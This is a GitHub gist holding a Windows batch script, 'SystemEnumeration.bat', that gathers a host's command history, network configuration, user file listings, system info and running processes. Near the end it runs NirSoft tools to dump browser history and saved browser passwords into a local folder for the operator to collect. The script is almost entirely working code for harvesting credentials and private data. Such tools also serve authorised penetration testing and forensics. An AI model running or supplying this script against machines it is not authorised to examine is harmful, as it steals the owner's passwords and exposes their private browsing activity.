Skip to content

Instantly share code, notes, and snippets.

@mrpnkt
Created September 11, 2017 10:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mrpnkt/85fd5b0ad2bc5b71ebf09506a6b44fb6 to your computer and use it in GitHub Desktop.
Save mrpnkt/85fd5b0ad2bc5b71ebf09506a6b44fb6 to your computer and use it in GitHub Desktop.
System Enumeration (Windows). Basic information about the environment, Browsing History & Passwords.
:: Name: SystemEnumeration.bat
:: Purpose: Basic information about the environment, Browsing History & Passwords
:: Author: mrpnkt
:: Revision: 15/08/2017
@ECHO OFF
cls
@echo.
@echo === WINDOWS SYSTEM ENUMATOR (VERSION CHEE) ==================
@echo.
pause
@echo.
@echo + SystemEnumeration:
@echo.
@echo + Getting Command History
@echo.
SET filefolder=%cd%\SystemEnumeration
mkdir %filefolder%
doskey /h > %filefolder%/lastusedcommands.txt
@echo + Getting ipconfig
@echo.
ipconfig /all > %filefolder%/ipconfig.txt
@echo + Getting users folder structure
@echo.
tree c:\users /a>> %filefolder%/usertree.txt
@echo + Listing users files
@echo.
forfiles /s /m *.* /c "cmd /c echo @relpath" >> %filefolder%/userfiles.txt
@echo + Getting System info
@echo.
ver > version.txt
systeminfo >> %filefolder%/systeminfo.txt
tasklist >> %filefolder%/tasklist.txt
@echo + Getting Web History
@echo.
BrowsingHistoryView.exe /stext %filefolder%/browserhistory.txt
@echo + Getting Browser Passwords
@echo.
WebBrowserPassView.exe /stext %filefolder%/browserpasswords.txt
@echo ALL DONE! GET THE FILES...
@echo.
del version.txt
%SystemRoot%\explorer.exe %filefolder%
:END
ENDLOCAL
ECHO ON
@EXIT /B 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment